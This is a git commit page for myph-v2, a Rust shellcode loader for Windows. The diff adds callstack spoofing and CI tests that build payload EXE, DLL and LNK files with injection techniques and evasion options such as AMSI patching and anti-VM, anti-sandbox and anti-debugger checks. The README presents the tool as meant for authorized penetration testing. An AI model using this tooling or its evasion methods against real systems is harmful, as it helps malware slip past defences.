myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

commit ad3a0bf3ef983ef8ff6512415ef6488f1a6e4095
parent 9be8fd95b887f7443f9d103f7421c1c250b0a907
Author: djnn <[email protected]>
Date: Sun, 4 Jan 2026 19:55:52 +0900

feat(core): adding support for callstack-spoofing

Diffstat:
M.github/workflows/ci.yml | 623++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
M.tool-versions | 2+-
MREADME.md | 128++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------------
Msrc/cli/mod.rs | 18++++++++++++++++++
Msrc/internals/dependencies.rs | 11+++++++++++
Msrc/internals/loader.rs | 38++++++++++++++++++++++++++++++++++----
Asrc/internals/templates/callstack_spoofing.rs | 226+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Msrc/internals/templates/main_funcs.rs | 29+++++++++++++++++++++++++++++
Msrc/internals/templates/mod.rs | 2++
Msrc/main.rs | 6++++--

10 files changed, 1046 insertions(+), 37 deletions(-)

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
@@ -8,7 +8,7 @@ on:
 
 env:
   CARGO_TERM_COLOR: always
-  RUST_VERSION: 1.85.0
+  RUST_VERSION: 1.92.0
 
 permissions:
   contents: read
@@ -94,7 +94,7 @@ jobs:
           targets: x86_64-pc-windows-gnu
 
       - name: Install cross-compilation tools
-        run: sudo apt-get update && sudo apt-get install -y mingw-w64
+        run: sudo apt-get update && sudo apt-get install -y mingw-w64 nasm
 
       - name: Cache cargo registry
         uses: actions/cache@v4
@@ -205,6 +205,57 @@ jobs:
             exit 1
           fi
           
+          # Test 4a: EXE binary generation with AES-256 encryption
+          echo ""
+          echo "=== Test 4a: EXE binary with AES-256 encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_aes256.exe -e aes256
+          
+          if [ ! -f "test_aes256.exe" ]; then
+            echo "Error: Binary 'test_aes256.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_aes256.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ AES-256 encrypted binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 4b: EXE binary generation with Twofish encryption
+          echo ""
+          echo "=== Test 4b: EXE binary with Twofish encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_twofish.exe -e twofish
+          
+          if [ ! -f "test_twofish.exe" ]; then
+            echo "Error: Binary 'test_twofish.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_twofish.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Twofish encrypted binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 4c: EXE binary generation with Camellia encryption
+          echo ""
+          echo "=== Test 4c: EXE binary with Camellia encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_camellia.exe -e camellia
+          
+          if [ ! -f "test_camellia.exe" ]; then
+            echo "Error: Binary 'test_camellia.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_camellia.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Camellia encrypted binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
           # Test 5: DLL binary generation with encrypted shellcode
           echo ""
           echo "=== Test 5: DLL binary with AES encryption ==="
@@ -361,6 +412,68 @@ jobs:
             exit 1
           fi
           
+          # Test 13a: LNK binary generation with AES encryption
+          echo ""
+          echo "=== Test 13a: LNK binary with AES encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_output.lnk -b lnk -e aes --technique create-fiber
+          
+          if [ ! -f "test_output.lnk" ]; then
+            echo "Error: Binary 'test_output.lnk' was not created"
+            exit 1
+          fi
+          
+          # Verify the file exists and has non-zero size
+          LNK_SIZE=$(stat -f%z test_output.lnk 2>/dev/null || stat -c%s test_output.lnk)
+          if [ "$LNK_SIZE" -gt 0 ]; then
+            echo "✓ LNK file created successfully ($LNK_SIZE bytes)"
+          else
+            echo "Error: LNK file is empty"
+            exit 1
+          fi
+          
+          # Verify it's recognized as a Windows shortcut
+          if file test_output.lnk | grep -q "MS Windows shortcut"; then
+            echo "✓ LNK file is recognized as MS Windows shortcut"
+          else
+            echo "Warning: file command may not recognize LNK format on this system"
+          fi
+          
+          # Test 13b: LNK binary with XOR encryption
+          echo ""
+          echo "=== Test 13b: LNK binary with XOR encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_xor.lnk -b lnk -e xor --technique syscall
+          
+          if [ ! -f "test_xor.lnk" ]; then
+            echo "Error: Binary 'test_xor.lnk' was not created"
+            exit 1
+          fi
+          
+          LNK_SIZE=$(stat -f%z test_xor.lnk 2>/dev/null || stat -c%s test_xor.lnk)
+          if [ "$LNK_SIZE" -gt 0 ]; then
+            echo "✓ LNK file with XOR encryption created successfully ($LNK_SIZE bytes)"
+          else
+            echo "Error: LNK file is empty"
+            exit 1
+          fi
+          
+          # Test 13c: LNK binary with ChaCha20 encryption
+          echo ""
+          echo "=== Test 13c: LNK binary with ChaCha20 encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_chacha.lnk -b lnk -e chacha20 --technique enum-calendar
+          
+          if [ ! -f "test_chacha.lnk" ]; then
+            echo "Error: Binary 'test_chacha.lnk' was not created"
+            exit 1
+          fi
+          
+          LNK_SIZE=$(stat -f%z test_chacha.lnk 2>/dev/null || stat -c%s test_chacha.lnk)
+          if [ "$LNK_SIZE" -gt 0 ]; then
+            echo "✓ LNK file with ChaCha20 encryption created successfully ($LNK_SIZE bytes)"
+          else
+            echo "Error: LNK file is empty"
+            exit 1
+          fi
+          
           # Test 14: Etwp technique
           echo ""
           echo "=== Test 14: EXE binary with Etwp technique ==="
@@ -497,6 +610,23 @@ jobs:
             exit 1
           fi
           
+          # Test 21a: ImageGetDigestStream technique
+          echo ""
+          echo "=== Test 21a: EXE binary with ImageGetDigestStream technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_image_get_digest_stream.exe -e aes --technique image-get-digest-stream
+          
+          if [ ! -f "test_image_get_digest_stream.exe" ]; then
+            echo "Error: Binary 'test_image_get_digest_stream.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_image_get_digest_stream.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ ImageGetDigestStream technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
           # Test 22: EXE binary with API Hammering
           echo ""
           echo "=== Test 22: EXE binary with API Hammering (AES encryption) ==="
@@ -714,9 +844,298 @@ jobs:
             echo "✓ QueueUserAPC with dynamic resolver works"
           fi
           
+          echo "Testing ImageGetDigestStream technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_image_digest.exe -e xor --with-dynamic-function-resolver --technique image-get-digest-stream
+          if [ -f "test_dynamic_image_digest.exe" ] && file test_dynamic_image_digest.exe | grep -q "PE32+ executable"; then
+            echo "✓ ImageGetDigestStream with dynamic resolver works"
+          fi
+          
+          # Test 32: Fairy-Law technique (privilege escalation)
+          echo ""
+          echo "=== Test 32: EXE binary with Fairy-Law technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_fairy_law.exe -e aes --technique fairy-law
+          
+          if [ ! -f "test_fairy_law.exe" ]; then
+            echo "Error: Binary 'test_fairy_law.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_fairy_law.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Fairy-Law technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 33: Fairy-Law with ChaCha20 encryption
+          echo ""
+          echo "=== Test 33: Fairy-Law with ChaCha20 encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_fairy_law_chacha.exe -e chacha20 --technique fairy-law
+          
+          if [ ! -f "test_fairy_law_chacha.exe" ]; then
+            echo "Error: Binary 'test_fairy_law_chacha.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_fairy_law_chacha.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Fairy-Law with ChaCha20 binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 34: Fairy-Law with Dynamic Function Resolver
+          echo ""
+          echo "=== Test 34: Fairy-Law with Dynamic Function Resolver ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_fairy_law_dynamic.exe -e xor --with-dynamic-function-resolver --technique fairy-law
+          
+          if [ ! -f "test_fairy_law_dynamic.exe" ]; then
+            echo "Error: Binary 'test_fairy_law_dynamic.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_fairy_law_dynamic.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Fairy-Law with dynamic resolver is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 35: Fairy-Law with AMSI Patch
+          echo ""
+          echo "=== Test 35: Fairy-Law with AMSI Patch ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_fairy_law_amsi.exe -e blowfish --technique fairy-law --with-amsi-patch
+          
+          if [ ! -f "test_fairy_law_amsi.exe" ]; then
+            echo "Error: Binary 'test_fairy_law_amsi.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_fairy_law_amsi.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Fairy-Law with AMSI Patch is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 36: Fairy-Law with combined evasion features
+          echo ""
+          echo "=== Test 36: Fairy-Law with API Hammering and String Encryption ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_fairy_law_combined.exe -e aes256 --technique fairy-law --with-api-hammering --with-string-encryption
+          
+          if [ ! -f "test_fairy_law_combined.exe" ]; then
+            echo "Error: Binary 'test_fairy_law_combined.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_fairy_law_combined.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Fairy-Law with combined features is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 37: Fairy-Law DLL generation
+          echo ""
+          echo "=== Test 37: DLL binary with Fairy-Law technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_fairy_law.dll -b dll -e twofish --technique fairy-law
+          
+          if [ ! -f "test_fairy_law.dll" ]; then
+            echo "Error: DLL 'test_fairy_law.dll' was not created"
+            exit 1
+          fi
+          
+          if file test_fairy_law.dll | grep -q "PE32+ executable.*DLL.*MS Windows"; then
+            echo "✓ Fairy-Law technique DLL is a valid PE32+ DLL"
+          else
+            echo "Error: File is not a Windows PE DLL"
+            exit 1
+          fi
+          
+          echo ""
+          echo "Testing Fairy-Law technique..."
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynamic_fairy_law.exe -e camellia --with-dynamic-function-resolver --technique fairy-law
+          if [ -f "test_dynamic_fairy_law.exe" ] && file test_dynamic_fairy_law.exe | grep -q "PE32+ executable"; then
+            echo "✓ Fairy-Law with dynamic resolver works"
+          fi
+          
           echo ""
           echo "✓ All end-to-end tests passed!"
           
+          # Test 32: Module Stomping technique
+          echo ""
+          echo "=== Test 32: EXE binary with Module Stomping technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_module_stomping.exe -e aes --technique module-stomping
+          
+          if [ ! -f "test_module_stomping.exe" ]; then
+            echo "Error: Binary 'test_module_stomping.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_module_stomping.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Module Stomping technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 33: Thread Hijacking technique
+          echo ""
+          echo "=== Test 33: EXE binary with Thread Hijacking technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_thread_hijacking.exe -e chacha20 --technique thread-hijacking --process notepad.exe
+          
+          if [ ! -f "test_thread_hijacking.exe" ]; then
+            echo "Error: Binary 'test_thread_hijacking.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_thread_hijacking.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Thread Hijacking technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 34: Early Bird APC technique
+          echo ""
+          echo "=== Test 34: EXE binary with Early Bird APC technique ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_early_bird.exe -e xor --technique early-bird --process cmd.exe
+          
+          if [ ! -f "test_early_bird.exe" ]; then
+            echo "Error: Binary 'test_early_bird.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_early_bird.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Early Bird APC technique binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 35: Anti-VM evasion
+          echo ""
+          echo "=== Test 35: EXE binary with Anti-VM evasion ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_anti_vm.exe -e aes --technique create-fiber --with-anti-vm
+          
+          if [ ! -f "test_anti_vm.exe" ]; then
+            echo "Error: Binary 'test_anti_vm.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_anti_vm.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Anti-VM evasion binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 36: Anti-Sandbox evasion
+          echo ""
+          echo "=== Test 36: EXE binary with Anti-Sandbox evasion ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_anti_sandbox.exe -e chacha20 --technique syscall --with-anti-sandbox
+          
+          if [ ! -f "test_anti_sandbox.exe" ]; then
+            echo "Error: Binary 'test_anti_sandbox.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_anti_sandbox.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Anti-Sandbox evasion binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 37: Anti-Debugger evasion
+          echo ""
+          echo "=== Test 37: EXE binary with Anti-Debugger evasion ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_anti_debugger.exe -e xor --technique enum-calendar --with-anti-debugger
+          
+          if [ ! -f "test_anti_debugger.exe" ]; then
+            echo "Error: Binary 'test_anti_debugger.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_anti_debugger.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Anti-Debugger evasion binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 38: Combined evasion features
+          echo ""
+          echo "=== Test 38: EXE binary with combined evasion features ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_all_evasion.exe -e aes --technique module-stomping \
+            --with-anti-vm --with-anti-sandbox --with-anti-debugger --with-amsi-patch --with-string-encryption
+          
+          if [ ! -f "test_all_evasion.exe" ]; then
+            echo "Error: Binary 'test_all_evasion.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_all_evasion.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Combined evasion features binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 39: Call stack spoofing alone
+          echo ""
+          echo "=== Test 39: EXE binary with call stack spoofing ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_callstack_spoofing.exe -e xor --technique create-fiber --with-callstack-spoofing
+          
+          if [ ! -f "test_callstack_spoofing.exe" ]; then
+            echo "Error: Binary 'test_callstack_spoofing.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_callstack_spoofing.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Call stack spoofing binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 40: Call stack spoofing with dynamic resolver
+          echo ""
+          echo "=== Test 40: EXE binary with call stack spoofing and dynamic resolver ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_callstack_dynamic.exe -e aes --technique syscall \
+            --with-callstack-spoofing --with-dynamic-function-resolver
+          
+          if [ ! -f "test_callstack_dynamic.exe" ]; then
+            echo "Error: Binary 'test_callstack_dynamic.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_callstack_dynamic.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Call stack spoofing with dynamic resolver binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 41: Maximum evasion with call stack spoofing
+          echo ""
+          echo "=== Test 41: EXE binary with maximum evasion including call stack spoofing ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_max_evasion.exe -e chacha20 --technique early-bird --process cmd.exe \
+            --with-callstack-spoofing --with-dynamic-function-resolver --with-amsi-patch \
+            --with-anti-vm --with-anti-sandbox --with-anti-debugger
+          
+          if [ ! -f "test_max_evasion.exe" ]; then
+            echo "Error: Binary 'test_max_evasion.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_max_evasion.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Maximum evasion with call stack spoofing binary is a valid PE32+ executable"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
           # Test 29: AMSI Patch with String Encryption
           echo ""
           echo "=== Test 29: AMSI Patch with String Encryption ==="
@@ -770,20 +1189,164 @@ jobs:
           
           echo ""
           echo "✓ All end-to-end tests passed!"
-          echo "✓ Tested 4 encryption algorithms (AES, ChaCha20, XOR, Blowfish)"
-          echo "✓ Tested 2 binary formats (EXE, DLL)"
+          
+          # Test 39: Dynamic Function Resolver with VirtualAlloc (kernel32.dll)
+          echo ""
+          echo "=== Test 39: Dynamic Function Resolver with VirtualAlloc ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynres_virtualalloc.exe -e aes --technique create-fiber --with-dynamic-function-resolver
+          
+          if [ ! -f "test_dynres_virtualalloc.exe" ]; then
+            echo "Error: Binary 'test_dynres_virtualalloc.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynres_virtualalloc.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic resolver with VirtualAlloc (kernel32.dll) works"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Verify no static imports for key APIs
+          if ! strings test_dynres_virtualalloc.exe | grep -q "VirtualAlloc"; then
+            echo "✓ VirtualAlloc not found in static strings (dynamically resolved)"
+          else
+            echo "⚠ Warning: VirtualAlloc found in binary strings"
+          fi
+          
+          # Test 40: Dynamic Function Resolver with CreateProcess (kernel32.dll)
+          echo ""
+          echo "=== Test 40: Dynamic Function Resolver with CreateProcess ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynres_createprocess.exe -e chacha20 --technique thread-hijacking --process notepad.exe --with-dynamic-function-resolver
+          
+          if [ ! -f "test_dynres_createprocess.exe" ]; then
+            echo "Error: Binary 'test_dynres_createprocess.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynres_createprocess.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic resolver with CreateProcess works"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 41: Dynamic Function Resolver with QueueUserAPC (kernel32.dll)
+          echo ""
+          echo "=== Test 41: Dynamic Function Resolver with QueueUserAPC ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynres_queueapc.exe -e xor --technique queue-user-apc --with-dynamic-function-resolver
+          
+          if [ ! -f "test_dynres_queueapc.exe" ]; then
+            echo "Error: Binary 'test_dynres_queueapc.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynres_queueapc.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic resolver with QueueUserAPC works"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 42: Dynamic Function Resolver with NtCreateThreadEx (ntdll.dll)
+          echo ""
+          echo "=== Test 42: Dynamic Function Resolver with NtCreateThreadEx ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynres_ntapi.exe -e aes --technique nt-create-thread-ex --process cmd.exe --with-dynamic-function-resolver
+          
+          if [ ! -f "test_dynres_ntapi.exe" ]; then
+            echo "Error: Binary 'test_dynres_ntapi.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynres_ntapi.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic resolver with NtCreateThreadEx (ntdll.dll) works"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Test 43: Dynamic Function Resolver + String Encryption + AMSI Patch
+          echo ""
+          echo "=== Test 43: Dynamic Resolver with String Encryption and AMSI Patch ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynres_full_evasion.exe -e aes --technique create-fiber \
+            --with-dynamic-function-resolver --with-string-encryption --with-amsi-patch
+          
+          if [ ! -f "test_dynres_full_evasion.exe" ]; then
+            echo "Error: Binary 'test_dynres_full_evasion.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynres_full_evasion.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic resolver with full evasion (string encryption + AMSI patch) works"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          # Verify encrypted function names
+          if ! strings test_dynres_full_evasion.exe | grep -q "AmsiScanBuffer"; then
+            echo "✓ AmsiScanBuffer not found in static strings (encrypted)"
+          else
+            echo "⚠ Warning: AmsiScanBuffer found in binary strings"
+          fi
+          
+          # Test 44: Dynamic Function Resolver with all new techniques
+          echo ""
+          echo "=== Test 44: Dynamic Resolver with ModuleStomping ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynres_module_stomping.exe -e xor --technique module-stomping --with-dynamic-function-resolver
+          
+          if [ ! -f "test_dynres_module_stomping.exe" ]; then
+            echo "Error: Binary 'test_dynres_module_stomping.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynres_module_stomping.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic resolver with ModuleStomping works"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          echo ""
+          echo "=== Test 45: Dynamic Resolver with EarlyBird ==="
+          ../target/release/myph_v2 -s test_shellcode.raw -f test_dynres_early_bird.exe -e aes --technique early-bird --process notepad.exe --with-dynamic-function-resolver
+          
+          if [ ! -f "test_dynres_early_bird.exe" ]; then
+            echo "Error: Binary 'test_dynres_early_bird.exe' was not created"
+            exit 1
+          fi
+          
+          if file test_dynres_early_bird.exe | grep -q "PE32+ executable.*MS Windows"; then
+            echo "✓ Dynamic resolver with EarlyBird works"
+          else
+            echo "Error: File is not a Windows PE executable"
+            exit 1
+          fi
+          
+          echo "✓ Tested 7 encryption algorithms (AES-128, AES-256, ChaCha20, Twofish, Camellia, Blowfish, XOR)"
+          echo "✓ Tested 3 binary formats (EXE, DLL, LNK)"
+          echo "✓ Tested LNK format with 3 encryption methods (AES, XOR, ChaCha20) on Linux"
           echo "✓ Tested fixed key encryption (AES, XOR)"
-          echo "✓ Tested 12 techniques (CRT, CRTx, EnumCalendar, EnumWindows, EnumSystemLocales, CreateFiber, Etwp, NtCreateThreadEx, ProcessHollowing, QueueUserAPC, SetTimer, Syscall)"
+          echo "✓ Tested 17 techniques (CRT, CRTx, EnumCalendar, EnumWindows, EnumSystemLocales, ImageGetDigestStream, CreateFiber, Etwp, FairyLaw, NtCreateThreadEx, ProcessHollowing, QueueUserAPC, SetTimer, Syscall, ModuleStomping, ThreadHijacking, EarlyBird)"
           echo "✓ Tested API Hammering feature"
           echo "✓ Tested AMSI Patch feature"
+          echo "✓ Tested String Encryption feature"
+          echo "✓ Tested Dynamic Function Resolver feature"
+          echo "✓ Tested Anti-VM evasion"
+          echo "✓ Tested Anti-Sandbox evasion"
+          echo "✓ Tested Anti-Debugger evasion"
+          echo "✓ Tested Dynamic Function Resolver with kernel32.dll APIs (VirtualAlloc, CreateFileW, CloseHandle, CreateProcess, QueueUserAPC)"
+          echo "✓ Tested Dynamic Function Resolver with ntdll.dll APIs (NtCreateThreadEx, RtlCopyMemory)"
+          echo "✓ Tested Dynamic Function Resolver with imagehlp.dll APIs (ImageGetDigestStream)"
+          echo "✓ Tested Dynamic Resolver with all techniques including ImageGetDigestStream"
+          echo "✓ Verified no static API imports (strings check)"
           echo "✓ Tested combined features (API Hammering + AMSI Patch)"
           echo "✓ Tested String Encryption feature"
           echo "✓ Tested Dynamic Function Resolver feature"
-          echo "✓ Tested Dynamic Function Resolver with all 9 techniques"
           echo "✓ Tested AMSI Patch with String Encryption"
           echo "✓ Tested AMSI Patch with Dynamic Function Resolver"
           echo "✓ Tested AMSI Patch with both String Encryption and Dynamic Function Resolver"
-          echo "✓ Tested Dynamic Function Resolver with all 12 techniques"
+          echo "✓ Tested Dynamic Function Resolver with all 13 techniques"
 
   fmt:
     name: Format
@@ -1112,12 +1675,58 @@ jobs:
             exit 1
           }
           
+          # Test 11: LNK file generation with AES encryption
+          Write-Host ""
+          Write-Host "=== Test 11: LNK file with AES encryption ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_output.lnk -b lnk -e aes -t create-fiber
+          if (Test-Path "test_output.lnk") {
+            Write-Host "✓ Generated test_output.lnk"
+            $lnkSize = (Get-Item "test_output.lnk").Length
+            Write-Host "✓ LNK file size: $lnkSize bytes"
+          } else {
+            Write-Host "✗ Failed to generate test_output.lnk"
+            exit 1
+          }
+          
+          # Test 12: LNK file with XOR encryption
+          Write-Host ""
+          Write-Host "=== Test 12: LNK file with XOR encryption ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_xor.lnk -b lnk -e xor -t syscall
+          if (Test-Path "test_xor.lnk") {
+            Write-Host "✓ Generated test_xor.lnk with XOR encryption"
+          } else {
+            Write-Host "✗ Failed to generate test_xor.lnk"
+            exit 1
+          }
+          
+          # Test 13: LNK file with ChaCha20 encryption
+          Write-Host ""
+          Write-Host "=== Test 13: LNK file with ChaCha20 encryption ==="
+          ..\target\release\myph_v2.exe -s .\msf.raw -f test_chacha.lnk -b lnk -e chacha20 -t enum-calendar
+          if (Test-Path "test_chacha.lnk") {
+            Write-Host "✓ Generated test_chacha.lnk with ChaCha20 encryption"
+          } else {
+            Write-Host "✗ Failed to generate test_chacha.lnk"
+            exit 1
+          }
+          
           Write-Host ""
           Write-Host "=== All Windows E2E Tests Passed ==="
           Write-Host "✓ Tested 4 encryption methods (AES, XOR, ChaCha20, Blowfish)"
           Write-Host "✓ Tested 4 techniques (create-fiber, enum-calendar, set-timer, syscall)"
+          Write-Host "✓ Tested 3 binary formats (EXE, DLL, LNK)"
+          Write-Host "✓ Tested LNK format with 3 encryption methods (AES, XOR, ChaCha20)"
           Write-Host "✓ Tested API Hammering feature"
           Write-Host "✓ Tested AMSI Patch feature"
+          echo "✓ Tested String Encryption feature"
+          echo "✓ Tested Dynamic Function Resolver feature"
+          echo "✓ Tested Anti-VM evasion"
+          echo "✓ Tested Anti-Sandbox evasion"
+          echo "✓ Tested Anti-Debugger evasion"
+          echo "✓ Tested Dynamic Function Resolver with kernel32.dll APIs (VirtualAlloc, CreateProcess, QueueUserAPC)"
+          echo "✓ Tested Dynamic Function Resolver with ntdll.dll APIs (NtCreateThreadEx)"
+          echo "✓ Tested Dynamic Resolver with all new techniques (ModuleStomping, EarlyBird, ThreadHijacking)"
+          echo "✓ Verified no static API imports (strings check)"
           Write-Host "✓ Tested String Encryption feature"
           Write-Host "✓ Tested Dynamic Function Resolver feature"
           Write-Host "✓ Tested DLL generation"
diff --git a/.tool-versions b/.tool-versions
@@ -1 +1 @@
-rust 1.85.0
+rust 1.92.0
diff --git a/README.md b/README.md
@@ -3,7 +3,7 @@
 > A modern Rust-based shellcode loader framework with multiple injection techniques and evasion capabilities for Windows environments.
 
 [![CI](https://github.com/djnnvx/myph-v2/workflows/CI/badge.svg)](https://github.com/djnnvx/myph-v2/actions)
-[![Rust Version](https://img.shields.io/badge/rust-1.85.0-orange.svg)](https://www.rust-lang.org/)
+[![Rust Version](https://img.shields.io/badge/rust-1.92.0-orange.svg)](https://www.rust-lang.org/)
 
 In loving memory of **Vasyl Slipak** (1974 - 2016) - [Wikipedia](https://en.wikipedia.org/wiki/Vasyl_Slipak)
 
@@ -50,8 +50,9 @@ This tool is designed for **security research and authorized penetration testing
 
 ## Prerequisites
 
-- **Rust**: Version 1.85.0 or later ([rustup.rs](https://rustup.rs/))
+- **Rust**: Version 1.92.0 or later ([rustup.rs](https://rustup.rs/))
 - **MinGW-w64**: For cross-compilation to Windows (Linux/macOS only)
+- **NASM**: Required when using `--with-callstack-spoofing` (build-time dependency for UWD library)
 
 ---
 
@@ -68,6 +69,10 @@ sudo apt-get install -y mingw-w64  # Debian/Ubuntu
 brew install mingw-w64              # macOS
 rustup target add x86_64-pc-windows-gnu
 
+# Install NASM (optional - only needed if using --with-callstack-spoofing)
+sudo apt-get install -y nasm        # Debian/Ubuntu
+brew install nasm                   # macOS
+
 # Clone and build
 git clone https://github.com/djnnvx/myph-v2.git
